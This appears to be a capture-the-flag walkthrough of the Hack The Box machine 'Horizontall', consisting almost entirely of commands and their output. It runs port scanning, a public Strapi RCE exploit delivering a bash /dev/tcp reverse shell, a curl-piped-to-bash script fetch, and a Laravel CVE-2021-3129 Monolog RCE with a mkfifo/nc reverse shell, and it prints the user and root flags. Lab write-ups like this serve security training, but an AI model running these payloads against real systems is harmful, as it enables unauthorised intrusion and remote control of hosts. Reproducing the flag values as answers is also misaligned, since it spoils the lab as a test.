Information Gathering
| IP Address | Opening Ports |
|---|---|
| 10.10.11.105 | TCP:22,80 |
$ ip='10.10.11.105'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
bash
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
| 256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_ 256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelStrapi RCE
# echo "10.10.11.105 horizontall.htb">>/etc/hosts
$ feroxbuster -u 'http://horizontall.htb'
http://horizontall.htb/js/app.c68eb462.js
# echo "10.10.11.105 api-prod.horizontall.htb">>/etc/hosts
$ curl http://api-prod.horizontall.htb/admin/init|jq
$ feroxbuster -u 'http://api-prod.horizontall.htb'
http://api-prod.horizontall.htb/admin/auth/login
https://www.exploit-db.com/exploits/50239
$ python3 exp.py http://api-prod.horizontall.htb
bash -c 'bash -i >& /dev/tcp/10.10.16.28/445 0>&1'
User.txt
0985824865581079bb013f166e34e37e
Privilege Escalation:Laravel <= v8.4.2 PHPGGC Monolog RCE
https://github.com/MartinxMax/KTOR/blob/main/ktor.sh
$ curl http://10.10.16.24/ktor.sh|bash -s -- -l -p all
这里通过再靶机使用ssh-keygen命令生成私钥进行登录
$ ssh -i id_rsa -L 8000:localhost:8000 -L 1337:localhost:1337 strapi@10.10.11.105 -t /bin/bash
$ feroxbuster -u 'http://127.0.0.1:8000/'
https://raw.githubusercontent.com/nth347/CVE-2021-3129_exploit/refs/heads/master/exploit.py
$ python3 exp.py http://localhost:8000 Monolog/RCE1 id
$ python3 exp.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.28 10032 >/tmp/f'
Root.txt
90ed87c84901a6f1b348da73a1d57d57